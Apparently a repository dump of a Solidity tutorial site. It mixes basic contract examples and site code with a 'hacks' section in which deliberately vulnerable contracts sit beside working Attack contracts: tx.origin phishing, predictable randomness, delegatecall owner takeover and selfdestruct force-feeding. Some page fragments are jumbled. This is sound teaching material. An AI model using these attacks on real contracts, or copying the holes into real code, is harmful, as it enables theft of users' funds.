pragma specifies the compiler version of Solidity.
// SPDX-License-Identifier: MIT
8 | // compiler version must be greater than or equal to 0.8.10 and less than 0.9.0
9 | pragma solidity ^0.8.10;
10 |
11 | contract HelloWorld {
12 | string public greet = "Hello World!";
13 | }
14 | Constants are variables that cannot be modified.
7 |Their value is hard coded and using constants can save gas cost.
8 |// SPDX-License-Identifier: MIT
9 | pragma solidity ^0.8.10;
10 |
11 | contract Constants {
12 | // coding convention to uppercase constant variables
13 | address public constant MY_ADDRESS = 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;
14 | uint public constant MY_UINT = 123;
15 | }
16 |
24 |
43 |
26 |
27 | {routes.map((route) => {
28 | const { prev, next } = getPrevNextPaths(route.path)
29 | return (
30 |
38 |
39 |
40 |
41 |
42 |
30 |
61 |
62 | )
63 | }
64 |
65 | export default Example
66 |
--------------------------------------------------------------------------------
/src/pages/structs/Structs.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | contract Todos {
5 | struct Todo {
6 | string text;
7 | bool completed;
8 | }
9 |
10 | // An array of 'Todo' structs
11 | Todo[] public todos;
12 |
13 | function create(string memory _text) public {
14 | // 3 ways to initialize a struct
15 | // - calling it like a function
16 | todos.push(Todo(_text, false));
17 |
18 | // key value mapping
19 | todos.push(Todo({text: _text, completed: false}));
20 |
21 | // initialize an empty struct and then update it
22 | Todo memory todo;
23 | todo.text = _text;
24 | // todo.completed initialized to false
25 |
26 | todos.push(todo);
27 | }
28 |
29 | // Solidity automatically created a getter for 'todos' so
30 | // you don't actually need this function.
31 | function get(uint _index) public view returns (string memory text, bool completed) {
32 | Todo storage todo = todos[_index];
33 | return (todo.text, todo.completed);
34 | }
35 |
36 | // update text
37 | function update(uint _index, string memory _text) public {
38 | Todo storage todo = todos[_index];
39 | todo.text = _text;
40 | }
41 |
42 | // update completed
43 | function toggleCompleted(uint _index) public {
44 | Todo storage todo = todos[_index];
45 | todo.completed = !todo.completed;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/pages/immutable/index.html.ts:
--------------------------------------------------------------------------------
1 | // metadata
2 | export const version = "0.8.10"
3 | export const title = "Immutable"
4 | export const description = "Immutable variables"
5 |
6 | const html = `
35 |
38 |
39 | {title}
36 | 37 |
40 | {prev && (
41 |
42 | {`< `}
43 | {prev.title}
44 |
45 | )}
46 | {next && (
47 |
48 | {next.title}
49 | {` >`}
50 |
51 | )}
52 |
53 |
54 | 55 | Try on{" "} 56 | 57 | Remix 58 | 59 |
60 |Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.
7 |// SPDX-License-Identifier: MIT
8 | pragma solidity ^0.8.10;
9 |
10 | contract Immutable {
11 | // coding convention to uppercase constant variables
12 | address public immutable MY_ADDRESS;
13 | uint public immutable MY_UINT;
14 |
15 | constructor(uint _myUint) {
16 | MY_ADDRESS = msg.sender;
17 | MY_UINT = _myUint;
18 | }
19 | }
20 |
21 |
22 | 
23 |
24 |
25 |
26 | Solidity by Example
27 |
28 |
32 |
33 | {state.theme === "dark" ? (
34 | 
onClickTheme("light")}
39 | />
40 | ) : (
41 | 
onClickTheme("dark")}
46 | />
47 | )}
48 |
49 | )
50 | }
51 |
52 | export default Header
53 |
--------------------------------------------------------------------------------
/src/pages/hacks/signature-replay/SigReplay.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 | pragma experimental ABIEncoderV2;
4 |
5 | import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
6 |
7 | contract MultiSigWallet {
8 | using ECDSA for bytes32;
9 |
10 | address[2] public owners;
11 |
12 | constructor(address[2] memory _owners) payable {
13 | owners = _owners;
14 | }
15 |
16 | function deposit() external payable {}
17 |
18 | function transfer(
19 | address _to,
20 | uint _amount,
21 | bytes[2] memory _sigs
22 | ) external {
23 | bytes32 txHash = getTxHash(_to, _amount);
24 | require(_checkSigs(_sigs, txHash), "invalid sig");
25 |
26 | (bool sent, ) = _to.call{value: _amount}("");
27 | require(sent, "Failed to send Ether");
28 | }
29 |
30 | function getTxHash(address _to, uint _amount) public view returns (bytes32) {
31 | return keccak256(abi.encodePacked(_to, _amount));
32 | }
33 |
34 | function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
35 | private
36 | view
37 | returns (bool)
38 | {
39 | bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
40 |
41 | for (uint i = 0; i < _sigs.length; i++) {
42 | address signer = ethSignedHash.recover(_sigs[i]);
43 | bool valid = signer == owners[i];
44 |
45 | if (!valid) {
46 | return false;
47 | }
48 | }
49 |
50 | return true;
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/src/pages/hacks/phishing-with-tx-origin/TxOrigin.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | /*
5 | Wallet is a simple contract where only the owner should be able to transfer
6 | Ether to another address. Wallet.transfer() uses tx.origin to check that the
7 | caller is the owner. Let's see how we can hack this contract
8 | */
9 |
10 | /*
11 | 1. Alice deploys Wallet with 10 Ether
12 | 2. Eve deploys Attack with the address of Alice's Wallet contract.
13 | 3. Eve tricks Alice to call Attack.attack()
14 | 4. Eve successfully stole Ether from Alice's wallet
15 |
16 | What happened?
17 | Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it
18 | requested a transfer of all funds in Alice's wallet to Eve's address.
19 | Since tx.origin in Wallet.transfer() is equal to Alice's address,
20 | it authorized the transfer. The wallet transferred all Ether to Eve.
21 | */
22 |
23 | contract Wallet {
24 | address public owner;
25 |
26 | constructor() payable {
27 | owner = msg.sender;
28 | }
29 |
30 | function transfer(address payable _to, uint _amount) public {
31 | require(tx.origin == owner, "Not owner");
32 |
33 | (bool sent, ) = _to.call{value: _amount}("");
34 | require(sent, "Failed to send Ether");
35 | }
36 | }
37 |
38 | contract Attack {
39 | address payable public owner;
40 | Wallet wallet;
41 |
42 | constructor(Wallet _wallet) {
43 | wallet = Wallet(_wallet);
44 | owner = payable(msg.sender);
45 | }
46 |
47 | function attack() public {
48 | wallet.transfer(owner, address(wallet).balance);
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "solidity-example",
3 | "version": "0.1.0",
4 | "private": true,
5 | "homepage": "https://web3dao-cn.github.io/solidity-example",
6 | "dependencies": {
7 | "highlight.js": "^11.4.0",
8 | "react": "^17.0.2",
9 | "react-dom": "^17.0.2",
10 | "react-helmet": "^6.1.0",
11 | "react-router-dom": "^6.2.1",
12 | "react-scripts": "^5.0.0",
13 | "typescript": "^4.3.2"
14 | },
15 | "scripts": {
16 | "start": "react-scripts start",
17 | "build": "react-scripts build",
18 | "postbuild": "npm run lint && react-snap",
19 | "eject": "react-scripts eject",
20 | "predeploy": "npm run build",
21 | "deploy": "gh-pages -d build",
22 | "md-to-react": "node scripts/md-to-react.js",
23 | "lint": "prettier --write src"
24 | },
25 | "eslintConfig": {
26 | "extends": "react-app"
27 | },
28 | "browserslist": [
29 | ">0.2%",
30 | "not dead",
31 | "not ie <= 11",
32 | "not op_mini all"
33 | ],
34 | "devDependencies": {
35 | "@types/highlight.js": "^9.12.4",
36 | "@types/marked": "^4.0.1",
37 | "@types/mustache": "^4.1.2",
38 | "@types/node": "^17.0.10",
39 | "@types/react": "^17.0.38",
40 | "@types/react-dom": "^17.0.11",
41 | "@types/react-helmet": "^6.1.5",
42 | "@types/react-router-dom": "^5.3.3",
43 | "gh-pages": "^3.2.3",
44 | "highlightjs-solidity": "^2.0.3",
45 | "marked": "^4.0.10",
46 | "mustache": "^4.2.0",
47 | "prettier": "^2.5.1",
48 | "prettier-plugin-solidity": "^1.0.0-beta.19",
49 | "react-snap": "^1.23.0",
50 | "ts-node": "^10.4.0",
51 | "typescript": "^4.5.5",
52 | "yaml": "^1.10.2"
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/src/pages/interface/Interface.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | contract Counter {
5 | uint public count;
6 |
7 | function increment() external {
8 | count += 1;
9 | }
10 | }
11 |
12 | interface ICounter {
13 | function count() external view returns (uint);
14 |
15 | function increment() external;
16 | }
17 |
18 | contract MyContract {
19 | function incrementCounter(address _counter) external {
20 | ICounter(_counter).increment();
21 | }
22 |
23 | function getCount(address _counter) external view returns (uint) {
24 | return ICounter(_counter).count();
25 | }
26 | }
27 |
28 | // Uniswap example
29 | interface UniswapV2Factory {
30 | function getPair(address tokenA, address tokenB)
31 | external
32 | view
33 | returns (address pair);
34 | }
35 |
36 | interface UniswapV2Pair {
37 | function getReserves()
38 | external
39 | view
40 | returns (
41 | uint112 reserve0,
42 | uint112 reserve1,
43 | uint32 blockTimestampLast
44 | );
45 | }
46 |
47 | contract UniswapExample {
48 | address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
49 | address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
50 | address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
51 |
52 | function getTokenReserves() external view returns (uint, uint) {
53 | address pair = UniswapV2Factory(factory).getPair(dai, weth);
54 | (uint reserve0, uint reserve1, ) = UniswapV2Pair(pair).getReserves();
55 | return (reserve0, reserve1);
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/pages/tests/echidna/TestEchidna.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | /*
5 | echidna-test TestEchidna.sol --contract TestCounter
6 | */
7 | contract Counter {
8 | uint public count;
9 |
10 | function inc() external {
11 | count += 1;
12 | }
13 |
14 | function dec() external {
15 | count -= 1;
16 | }
17 | }
18 |
19 | contract TestCounter is Counter {
20 | function echidna_test_true() public view returns (bool) {
21 | return true;
22 | }
23 |
24 | function echidna_test_false() public view returns (bool) {
25 | return false;
26 | }
27 |
28 | function echidna_test_count() public view returns (bool) {
29 | // Here we are testing that Counter.count should always be <= 5.
30 | // Test will fail. Echidna is smart enough to call Counter.inc() more
31 | // than 5 times.
32 | return count <= 5;
33 | }
34 | }
35 |
36 | /*
37 | echidna-test TestEchidna.sol --contract TestAssert --check-asserts
38 | */
39 | contract TestAssert {
40 | // Asserts not detected in 0.8.
41 | // Switch to 0.7 to test assertions
42 | function test_assert(uint _i) external {
43 | assert(_i < 10);
44 | }
45 |
46 | // More complex example
47 | function abs(uint x, uint y) private pure returns (uint) {
48 | if (x >= y) {
49 | return x - y;
50 | }
51 | return y - x;
52 | }
53 |
54 | function test_abs(uint x, uint y) external {
55 | uint z = abs(x, y);
56 | if (x >= y) {
57 | assert(z <= x);
58 | } else {
59 | assert(z <= y);
60 | }
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/src/pages/hacks/front-running/FrontRunning.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | /*
5 | Alice creates a guessing game.
6 | You win 10 ether if you can find the correct string that hashes to the target
7 | hash. Let's see how this contract is vulnerable to front running.
8 | */
9 |
10 | /*
11 | 1. Alice deploys FindThisHash with 10 Ether.
12 | 2. Bob finds the correct string that will hash to the target hash. ("Ethereum")
13 | 3. Bob calls solve("Ethereum") with gas price set to 15 gwei.
14 | 4. Eve is watching the transaction pool for the answer to be submitted.
15 | 5. Eve sees Bob's answer and calls solve("Ethereum") with a higher gas price
16 | than Bob (100 gwei).
17 | 6. Eve's transaction was mined before Bob's transaction.
18 | Eve won the reward of 10 ether.
19 |
20 | What happened?
21 | Transactions take some time before they are mined.
22 | Transactions not yet mined are put in the transaction pool.
23 | Transactions with higher gas price are typically mined first.
24 | An attacker can get the answer from the transaction pool, send a transaction
25 | with a higher gas price so that their transaction will be included in a block
26 | before the original.
27 | */
28 |
29 | contract FindThisHash {
30 | bytes32 public constant hash =
31 | 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
32 |
33 | constructor() payable {}
34 |
35 | function solve(string memory solution) public {
36 | require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");
37 |
38 | (bool sent, ) = msg.sender.call{value: 10 ether}("");
39 | require(sent, "Failed to send Ether");
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/src/pages/sending-ether/SendingEther.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | contract ReceiveEther {
5 | /*
6 | Which function is called, fallback() or receive()?
7 |
8 | send Ether
9 | |
10 | msg.data is empty?
11 | / \
12 | yes no
13 | / \
14 | receive() exists? fallback()
15 | / \
16 | yes no
17 | / \
18 | receive() fallback()
19 | */
20 |
21 | // Function to receive Ether. msg.data must be empty
22 | receive() external payable {}
23 |
24 | // Fallback function is called when msg.data is not empty
25 | fallback() external payable {}
26 |
27 | function getBalance() public view returns (uint) {
28 | return address(this).balance;
29 | }
30 | }
31 |
32 | contract SendEther {
33 | function sendViaTransfer(address payable _to) public payable {
34 | // This function is no longer recommended for sending Ether.
35 | _to.transfer(msg.value);
36 | }
37 |
38 | function sendViaSend(address payable _to) public payable {
39 | // Send returns a boolean value indicating success or failure.
40 | // This function is not recommended for sending Ether.
41 | bool sent = _to.send(msg.value);
42 | require(sent, "Failed to send Ether");
43 | }
44 |
45 | function sendViaCall(address payable _to) public payable {
46 | // Call returns a boolean value indicating success or failure.
47 | // This is the current recommended method to use.
48 | (bool sent, bytes memory data) = _to.call{value: msg.value}("");
49 | require(sent, "Failed to send Ether");
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/src/pages/app/erc20/ERC20.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | import "./IERC20.sol";
5 |
6 | contract ERC20 is IERC20 {
7 | uint public totalSupply;
8 | mapping(address => uint) public balanceOf;
9 | mapping(address => mapping(address => uint)) public allowance;
10 | string public name = "Solidity by Example";
11 | string public symbol = "SOLBYEX";
12 | uint8 public decimals = 18;
13 |
14 | function transfer(address recipient, uint amount) external returns (bool) {
15 | balanceOf[msg.sender] -= amount;
16 | balanceOf[recipient] += amount;
17 | emit Transfer(msg.sender, recipient, amount);
18 | return true;
19 | }
20 |
21 | function approve(address spender, uint amount) external returns (bool) {
22 | allowance[msg.sender][spender] = amount;
23 | emit Approval(msg.sender, spender, amount);
24 | return true;
25 | }
26 |
27 | function transferFrom(
28 | address sender,
29 | address recipient,
30 | uint amount
31 | ) external returns (bool) {
32 | allowance[sender][msg.sender] -= amount;
33 | balanceOf[sender] -= amount;
34 | balanceOf[recipient] += amount;
35 | emit Transfer(sender, recipient, amount);
36 | return true;
37 | }
38 |
39 | function mint(uint amount) external {
40 | balanceOf[msg.sender] += amount;
41 | totalSupply += amount;
42 | emit Transfer(address(0), msg.sender, amount);
43 | }
44 |
45 | function burn(uint amount) external {
46 | balanceOf[msg.sender] -= amount;
47 | totalSupply -= amount;
48 | emit Transfer(msg.sender, address(0), amount);
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/pages/super/Super.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | /* Inheritance tree
5 | A
6 | / \
7 | B C
8 | \ /
9 | D
10 | */
11 |
12 | contract A {
13 | // This is called an event. You can emit events from your function
14 | // and they are logged into the transaction log.
15 | // In our case, this will be useful for tracing function calls.
16 | event Log(string message);
17 |
18 | function foo() public virtual {
19 | emit Log("A.foo called");
20 | }
21 |
22 | function bar() public virtual {
23 | emit Log("A.bar called");
24 | }
25 | }
26 |
27 | contract B is A {
28 | function foo() public virtual override {
29 | emit Log("B.foo called");
30 | A.foo();
31 | }
32 |
33 | function bar() public virtual override {
34 | emit Log("B.bar called");
35 | super.bar();
36 | }
37 | }
38 |
39 | contract C is A {
40 | function foo() public virtual override {
41 | emit Log("C.foo called");
42 | A.foo();
43 | }
44 |
45 | function bar() public virtual override {
46 | emit Log("C.bar called");
47 | super.bar();
48 | }
49 | }
50 |
51 | contract D is B, C {
52 | // Try:
53 | // - Call D.foo and check the transaction logs.
54 | // Although D inherits A, B and C, it only called C and then A.
55 | // - Call D.bar and check the transaction logs
56 | // D called C, then B, and finally A.
57 | // Although super was called twice (by B and C) it only called A once.
58 |
59 | function foo() public override(B, C) {
60 | super.foo();
61 | }
62 |
63 | function bar() public override(B, C) {
64 | super.bar();
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/src/pages/new-contract/NewContract.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | contract Car {
5 | address public owner;
6 | string public model;
7 | address public carAddr;
8 |
9 | constructor(address _owner, string memory _model) payable {
10 | owner = _owner;
11 | model = _model;
12 | carAddr = address(this);
13 | }
14 | }
15 |
16 | contract CarFactory {
17 | Car[] public cars;
18 |
19 | function create(address _owner, string memory _model) public {
20 | Car car = new Car(_owner, _model);
21 | cars.push(car);
22 | }
23 |
24 | function createAndSendEther(address _owner, string memory _model) public payable {
25 | Car car = (new Car){value: msg.value}(_owner, _model);
26 | cars.push(car);
27 | }
28 |
29 | function create2(
30 | address _owner,
31 | string memory _model,
32 | bytes32 _salt
33 | ) public {
34 | Car car = (new Car){salt: _salt}(_owner, _model);
35 | cars.push(car);
36 | }
37 |
38 | function create2AndSendEther(
39 | address _owner,
40 | string memory _model,
41 | bytes32 _salt
42 | ) public payable {
43 | Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model);
44 | cars.push(car);
45 | }
46 |
47 | function getCar(uint _index)
48 | public
49 | view
50 | returns (
51 | address owner,
52 | string memory model,
53 | address carAddr,
54 | uint balance
55 | )
56 | {
57 | Car car = cars[_index];
58 |
59 | return (car.owner(), car.model(), car.carAddr(), address(car).balance);
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/src/pages/function-modifier/FunctionModifier.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | contract FunctionModifier {
5 | // We will use these variables to demonstrate how to use
6 | // modifiers.
7 | address public owner;
8 | uint public x = 10;
9 | bool public locked;
10 |
11 | constructor() {
12 | // Set the transaction sender as the owner of the contract.
13 | owner = msg.sender;
14 | }
15 |
16 | // Modifier to check that the caller is the owner of
17 | // the contract.
18 | modifier onlyOwner() {
19 | require(msg.sender == owner, "Not owner");
20 | // Underscore is a special character only used inside
21 | // a function modifier and it tells Solidity to
22 | // execute the rest of the code.
23 | _;
24 | }
25 |
26 | // Modifiers can take inputs. This modifier checks that the
27 | // address passed in is not the zero address.
28 | modifier validAddress(address _addr) {
29 | require(_addr != address(0), "Not valid address");
30 | _;
31 | }
32 |
33 | function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) {
34 | owner = _newOwner;
35 | }
36 |
37 | // Modifiers can be called before and / or after a function.
38 | // This modifier prevents a function from being called while
39 | // it is still executing.
40 | modifier noReentrancy() {
41 | require(!locked, "No reentrancy");
42 |
43 | locked = true;
44 | _;
45 | locked = false;
46 | }
47 |
48 | function decrement(uint i) public noReentrancy {
49 | x -= i;
50 |
51 | if (i > 1) {
52 | decrement(i - 1);
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/src/components/logo.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
28 |
--------------------------------------------------------------------------------
/src/pages/hacks/randomness/Randomness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | /*
5 | NOTE: cannot use blockhash in Remix so use ganache-cli
6 |
7 | npm i -g ganache-cli
8 | ganache-cli
9 | In remix switch environment to Web3 provider
10 | */
11 |
12 | /*
13 | GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
14 | pseudo random number generated from block hash and timestamp.
15 |
16 | At first glance, it seems impossible to guess the correct number.
17 | But let's see how easy it is win.
18 |
19 | 1. Alice deploys GuessTheRandomNumber with 1 Ether
20 | 2. Eve deploys Attack
21 | 3. Eve calls Attack.attack() and wins 1 Ether
22 |
23 | What happened?
24 | Attack computed the correct answer by simply copying the code that computes the random number.
25 | */
26 |
27 | contract GuessTheRandomNumber {
28 | constructor() payable {}
29 |
30 | function guess(uint _guess) public {
31 | uint answer = uint(
32 | keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
33 | );
34 |
35 | if (_guess == answer) {
36 | (bool sent, ) = msg.sender.call{value: 1 ether}("");
37 | require(sent, "Failed to send Ether");
38 | }
39 | }
40 | }
41 |
42 | contract Attack {
43 | receive() external payable {}
44 |
45 | function attack(GuessTheRandomNumber guessTheRandomNumber) public {
46 | uint answer = uint(
47 | keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
48 | );
49 |
50 | guessTheRandomNumber.guess(answer);
51 | }
52 |
53 | // Helper function to check balance
54 | function getBalance() public view returns (uint) {
55 | return address(this).balance;
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/components/logo-dark.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
28 |
--------------------------------------------------------------------------------
/src/pages/inheritance/Inheritance.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | /* Graph of inheritance
5 | A
6 | / \
7 | B C
8 | / \ /
9 | F D,E
10 |
11 | */
12 |
13 | contract A {
14 | function foo() public pure virtual returns (string memory) {
15 | return "A";
16 | }
17 | }
18 |
19 | // Contracts inherit other contracts by using the keyword 'is'.
20 | contract B is A {
21 | // Override A.foo()
22 | function foo() public pure virtual override returns (string memory) {
23 | return "B";
24 | }
25 | }
26 |
27 | contract C is A {
28 | // Override A.foo()
29 | function foo() public pure virtual override returns (string memory) {
30 | return "C";
31 | }
32 | }
33 |
34 | // Contracts can inherit from multiple parent contracts.
35 | // When a function is called that is defined multiple times in
36 | // different contracts, parent contracts are searched from
37 | // right to left, and in depth-first manner.
38 |
39 | contract D is B, C {
40 | // D.foo() returns "C"
41 | // since C is the right most parent contract with function foo()
42 | function foo() public pure override(B, C) returns (string memory) {
43 | return super.foo();
44 | }
45 | }
46 |
47 | contract E is C, B {
48 | // E.foo() returns "B"
49 | // since B is the right most parent contract with function foo()
50 | function foo() public pure override(C, B) returns (string memory) {
51 | return super.foo();
52 | }
53 | }
54 |
55 | // Inheritance must be ordered from “most base-like” to “most derived”.
56 | // Swapping the order of A and B will throw a compilation error.
57 | contract F is A, B {
58 | function foo() public pure override(A, B) returns (string memory) {
59 | return super.foo();
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/src/pages/hacks/delegatecall/Delegatecall_1.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | /*
5 | HackMe is a contract that uses delegatecall to execute code.
6 | It it is not obvious that the owner of HackMe can be changed since there is no
7 | function inside HackMe to do so. However an attacker can hijack the
8 | contract by exploiting delegatecall. Let's see how.
9 |
10 | 1. Alice deploys Lib
11 | 2. Alice deploys HackMe with address of Lib
12 | 3. Eve deploys Attack with address of HackMe
13 | 4. Eve calls Attack.attack()
14 | 5. Attack is now the owner of HackMe
15 |
16 | What happened?
17 | Eve called Attack.attack().
18 | Attack called the fallback function of HackMe sending the function
19 | selector of pwn(). HackMe forwards the call to Lib using delegatecall.
20 | Here msg.data contains the function selector of pwn().
21 | This tells Solidity to call the function pwn() inside Lib.
22 | The function pwn() updates the owner to msg.sender.
23 | Delegatecall runs the code of Lib using the context of HackMe.
24 | Therefore HackMe's storage was updated to msg.sender where msg.sender is the
25 | caller of HackMe, in this case Attack.
26 | */
27 |
28 | contract Lib {
29 | address public owner;
30 |
31 | function pwn() public {
32 | owner = msg.sender;
33 | }
34 | }
35 |
36 | contract HackMe {
37 | address public owner;
38 | Lib public lib;
39 |
40 | constructor(Lib _lib) {
41 | owner = msg.sender;
42 | lib = Lib(_lib);
43 | }
44 |
45 | fallback() external payable {
46 | address(lib).delegatecall(msg.data);
47 | }
48 | }
49 |
50 | contract Attack {
51 | address public hackMe;
52 |
53 | constructor(address _hackMe) {
54 | hackMe = _hackMe;
55 | }
56 |
57 | function attack() public {
58 | hackMe.call(abi.encodeWithSignature("pwn()"));
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/src/pages/hacks/self-destruct/ForceEther.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | // The goal of this game is to be the 7th player to deposit 1 Ether.
5 | // Players can deposit only 1 Ether at a time.
6 | // Winner will be able to withdraw all Ether.
7 |
8 | /*
9 | 1. Deploy EtherGame
10 | 2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
11 | 2. Deploy Attack with address of EtherGame
12 | 3. Call Attack.attack sending 5 ether. This will break the game
13 | No one can become the winner.
14 |
15 | What happened?
16 | Attack forced the balance of EtherGame to equal 7 ether.
17 | Now no one can deposit and the winner cannot be set.
18 | */
19 |
20 | contract EtherGame {
21 | uint public targetAmount = 7 ether;
22 | address public winner;
23 |
24 | function deposit() public payable {
25 | require(msg.value == 1 ether, "You can only send 1 Ether");
26 |
27 | uint balance = address(this).balance;
28 | require(balance <= targetAmount, "Game is over");
29 |
30 | if (balance == targetAmount) {
31 | winner = msg.sender;
32 | }
33 | }
34 |
35 | function claimReward() public {
36 | require(msg.sender == winner, "Not winner");
37 |
38 | (bool sent, ) = msg.sender.call{value: address(this).balance}("");
39 | require(sent, "Failed to send Ether");
40 | }
41 | }
42 |
43 | contract Attack {
44 | EtherGame etherGame;
45 |
46 | constructor(EtherGame _etherGame) {
47 | etherGame = EtherGame(_etherGame);
48 | }
49 |
50 | function attack() public payable {
51 | // You can simply break the game by sending ether so that
52 | // the game balance >= 7 ether
53 |
54 | // cast address to payable
55 | address payable addr = payable(address(etherGame));
56 | selfdestruct(addr);
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/src/pages/primitives/Primitives.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.10;
3 |
4 | contract Primitives {
5 | bool public boo = true;
6 |
7 | /*
8 | uint stands for unsigned integer, meaning non negative integers
9 | different sizes are available
10 | uint8 ranges from 0 to 2 ** 8 - 1
11 | uint16 ranges from 0 to 2 ** 16 - 1
12 | ...
13 | uint256 ranges from 0 to 2 ** 256 - 1
14 | */
15 | uint8 public u8 = 1;
16 | uint public u256 = 456;
17 | uint public u = 123; // uint is an alias for uint256
18 |
19 | /*
20 | Negative numbers are allowed for int types.
21 | Like uint, different ranges are available from int8 to int256
22 |
23 | int256 ranges from -2 ** 255 to 2 ** 255 - 1
24 | int128 ranges from -2 ** 127 to 2 ** 127 - 1
25 | */
26 | int8 public i8 = -1;
27 | int public i256 = 456;
28 | int public i = -123; // int is same as int256
29 |
30 | // minimum and maximum of int
31 | int public minInt = type(int).min;
32 | int public maxInt = type(int).max;
33 |
34 | address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
35 |
36 | /*
37 | In Solidity, the data type byte represent a sequence of bytes.
38 | Solidity presents two type of bytes types :
39 |
40 | - fixed-sized byte arrays
41 | - dynamically-sized byte arrays.
42 |
43 | The term bytes in Solidity represents a dynamic array of bytes.
44 | It’s a shorthand for byte[] .
45 | */
46 | bytes1 a = 0xb5; // [10110101]
47 | bytes1 b = 0x56; // [01010110]
48 |
49 | // Default values
50 | // Unassigned variables have a default value
51 | bool public defaultBoo; // false
52 | uint public defaultUint; // 0
53 | int public defaultInt; // 0
54 | address public defaultAddr; // 0x0000000000000000000000000000000000000000
55 | }
56 |
--------------------------------------------------------------------------------
26 | Solidity by Example
27 |
28 |
29 | version 0.8.10
30 |
31 |
32 |
33 | {state.theme === "dark" ? (
34 | version 0.8.10
30 |